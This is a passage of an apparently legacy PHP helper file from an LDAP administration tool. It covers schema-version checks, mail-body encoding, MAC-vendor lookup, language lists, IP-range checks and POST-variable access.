2379           "gotoTerminal"          => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2380           "goServer"              => array("version" => "2.4","class" => "server","file" => "goserver.schema"),
2381           "goTerminalServer"      => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2382           "goShareServer"         => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2383           "goNtpServer"           => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2384           "goSyslogServer"        => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2385           "goLdapServer"          => array("version" => "2.4"),
2386           "goCupsServer"          => array("version" => "2.4", "class" => array("posixAccount", "terminals"),),
2387           "goImapServer"          => array("version" => "2.4", "class" => array("mailAccount", "mailgroup"),"file" => "gosa+samba3.        schema"),
2388           "goKrbServer"           => array("version" => "2.4"),
2389           "goFaxServer"           => array("version" => "2.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2390           ) as $name => $values){
2392       $checks[$name] = $def_check;
2393       if(isset($values['version'])){
2394         $checks[$name]["REQUIRED_VERSION"] = $values['version'];
2395       }
2396       if(isset($values['file'])){
2397         $checks[$name]["SCHEMA_FILES"] = array($values['file']);
2398       }
2399       $checks[$name]["CLASSES_REQUIRED"] = array($name);
2400     }
2401    foreach($checks as $name => $value){
2402       foreach($value['CLASSES_REQUIRED'] as $class){
2404         if(!isset($objectclasses[$name])){
2405           $checks[$name]['STATUS'] = FALSE;
2406           if($value['IS_MUST_HAVE']){
2407             $checks[$name]['MSG']    = sprintf(_("The required objectClass '%s' is not present in your schema setup"),$class);
2408           }else{
2409             $checks[$name]['MSG']    = sprintf(_("The optional objectClass '%s' is not present in your schema setup"),$class);
2410           }
2411         }elseif(!check_schema_version($objectclasses[$name],$value['REQUIRED_VERSION'])){
2412           $checks[$name]['STATUS'] = FALSE;
2414           if($value['IS_MUST_HAVE']){
2415             $checks[$name]['MSG'] = sprintf(_("The required objectclass '%s' does not have version %s"), $class,                           $value['REQUIRED_VERSION']);
2416           }else{
2417             $checks[$name]['MSG'] = sprintf(_("The optional objectclass '%s' does not have version %s"), $class,                           $value['REQUIRED_VERSION']);
2418           }
2419         }else{
2420           $checks[$name]['STATUS'] = TRUE;
2421           $checks[$name]['MSG'] = sprintf(_("Class(es) available"));
2422         }
2423       }
2424     }
2426     $tmp = $objectclasses;
2429     /* The gosa base schema */
2430     $checks['posixGroup'] = $def_check;
2431     $checks['posixGroup']['REQUIRED_VERSION'] = "2.4";
2432     $checks['posixGroup']['SCHEMA_FILES']     = array("gosa+samba3.schema","gosa.schema");
2433     $checks['posixGroup']['CLASSES_REQUIRED'] = array("posixGroup");
2434     $checks['posixGroup']['STATUS']           = TRUE;
2435     $checks['posixGroup']['IS_MUST_HAVE']     = TRUE;
2436     $checks['posixGroup']['MSG']              = "";
2437     $checks['posixGroup']['INFO']             = "";
2439     /* Depending on selected rfc2307bis mode, we need different schema configurations */
2440     if(isset($tmp['posixGroup'])){
2442       if($rfc2307bis && isset($tmp['posixGroup']['STRUCTURAL'])){
2443         $checks['posixGroup']['STATUS']           = FALSE;
2444         $checks['posixGroup']['MSG']              = _("You have enabled the rfc2307bis option on the 'ldap setup' step, but your schema    configuration do not support this option.");
2445         $checks['posixGroup']['INFO']             = _("In order to use rfc2307bis conform groups the objectClass 'posixGroup' must be      AUXILIARY");
2446       }
2447       if(!$rfc2307bis && !isset($tmp['posixGroup']['STRUCTURAL'])){
2448         $checks['posixGroup']['STATUS']           = FALSE;
2449         $checks['posixGroup']['MSG']              = _("You have disabled the rfc2307bis option on the 'ldap setup' step, but your schema   configuration do not support this option.");
2450         $checks['posixGroup']['INFO']             = _("The objectClass 'posixGroup' must be STRUCTURAL");
2451       }
2452     }
2454     return($checks);
2455   }
2458 function prepare4mailbody($string)
2460   $string = html_entity_decode($string);
2462   $from = array(
2463                 "/%/",
2464                 "/ /",
2465                 "/\n/",  
2466                 "/\r/",
2467                 "/!/",
2468                 "/#/",
2469                 "/\*/",
2470                 "/\//",
2471                 "/</",
2472                 "/>/",
2473                 "/\?/",
2474                 "/\&/",
2475                 "/\(/",
2476                 "/\)/",
2477                 "/\"/");
2478   
2479   $to = array(  
2480                 "%25",
2481                 "%20",
2482                 "%0A",
2483                 "%0D",
2484                 "%21",
2485                 "%23",
2486                 "%2A",
2487                 "%2F",
2488                 "%3C",
2489                 "%3E",
2490                 "%3F",
2491                 "%38",
2492                 "%28",
2493                 "%29",
2494                 "%22");
2496   $string = preg_replace($from,$to,$string);
2498   return($string);
2502 function mac2company($mac)
2504   $vendor= "";
2506   /* Generate a normailzed mac... */
2507   $mac= substr(preg_replace('/[:-]/', '', $mac), 0, 6);
2509   /* Check for existance of the oui file */
2510   if (!is_readable(CONFIG_DIR."/oui.txt")){
2511     return ("");
2512   }
2514   /* Open file and look for mac addresses... */
2515   $handle = @fopen(CONFIG_DIR."/oui.txt", "r");
2516   if ($handle) {
2517     while (!feof($handle)) {
2518       $line = fgets($handle, 4096);
2520       if (preg_match("/^$mac/i", $line)){
2521         $vendor= substr($line, 32);
2522       }
2523     }
2524     fclose($handle);
2525   }
2527   return ($vendor);
2531 function get_languages($languages_in_own_language = FALSE,$strip_region_tag = FALSE)
2533   $tmp = array(
2534         "de_DE" => "German",
2535         "fr_FR" => "French",
2536         "it_IT" => "Italian",
2537         "es_ES" => "Spanish",
2538         "en_US" => "English",
2539         "nl_NL" => "Dutch",
2540         "pl_PL" => "Polish",
2541         "sv_SE" => "Swedish",
2542         "zh_CN" => "Chinese",
2543         "ru_RU" => "Russian");
2544   
2545   $tmp2= array(
2546         "de_DE" => _("German"),
2547         "fr_FR" => _("French"),
2548         "it_IT" => _("Italian"),
2549         "es_ES" => _("Spanish"),
2550         "en_US" => _("English"),
2551         "nl_NL" => _("Dutch"),
2552         "pl_PL" => _("Polish"),
2553         "sv_SE" => _("Swedish"),
2554         "zh_CN" => _("Chinese"),
2555         "ru_RU" => _("Russian"));
2557   $ret = array();
2558   if($languages_in_own_language){
2560     $old_lang = setlocale(LC_ALL, 0);
2561     foreach($tmp as $key => $name){
2562       $lang = $key.".UTF-8";
2563       setlocale(LC_ALL, $lang);
2564       if($strip_region_tag){
2565         $ret[preg_replace("/^([^_]*).*$/","\\1",$key)] = _($name)." (".$tmp2[$key].")";
2566       }else{
2567         $ret[$key] = _($name)." &nbsp;(".$tmp2[$key].")";
2568       }
2569     }
2570     setlocale(LC_ALL, $old_lang);
2571   }else{
2572     foreach($tmp as $key => $name){
2573       if($strip_region_tag){
2574         $ret[preg_replace("/^([^_]*).*/","\\1",$key)] = _($name);
2575       }else{
2576         $ret[$key] = _($name);
2577       }
2578     }
2579   }
2580   return($ret);
2584 /* Check if $ip1 and $ip2 represents a valid IP range 
2585  *  returns TRUE in case of a valid range, FALSE in case of an error. 
2586  */
2587 function is_ip_range($ip1,$ip2)
2589   if(!is_ip($ip1) || !is_ip($ip2)){
2590     return(FALSE);
2591   }else{
2592     $ar1 = split("\.",$ip1);
2593     $var1 = $ar1[0] * (16777216) + $ar1[1] * (65536) + $ar1[2] * (256) + $ar1[3];
2595     $ar2 = split("\.",$ip2);
2596     $var2 = $ar2[0] * (16777216) + $ar2[1] * (65536) + $ar2[2] * (256) + $ar2[3];
2597     return($var1 < $var2);
2598   }
2602 /* Check if the specified IP address $address is inside the given network */
2603 function is_in_network($network, $netmask, $address)
2605   $nw= split('\.', $network);
2606   $nm= split('\.', $netmask);
2607   $ad= split('\.', $address);
2609   /* Generate inverted netmask */
2610   for ($i= 0; $i<4; $i++){
2611     $ni[$i]= 255-$nm[$i];
2612     $la[$i]= $nw[$i] | $ni[$i];
2613   }
2615   /* Transform to integer */
2616   $first= $nw[0] * (16777216) + $nw[1] * (65536) + $nw[2] * (256) + $nw[3];
2617   $curr=  $ad[0] * (16777216) + $ad[1] * (65536) + $ad[2] * (256) + $ad[3];
2618   $last=  $la[0] * (16777216) + $la[1] * (65536) + $la[2] * (256) + $la[3];
2620   return ($first < $curr&& $last > $curr);
2624 /* Returns contents of the given POST variable and check magic quotes settings */
2625 function get_post($name)
2627   if(!isset($_POST[$name])){
2628     trigger_error("Requested POST value (".$name.") does not exists, you should add a check to prevent this message.");
2629     return(FALSE);
2630   }
2631   if(get_magic_quotes_gpc()){
2632     return(stripcslashes($_POST[$name]));
2633   }else{
2634     return($_POST[$name]);
2635   }
2638 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
2639 ?>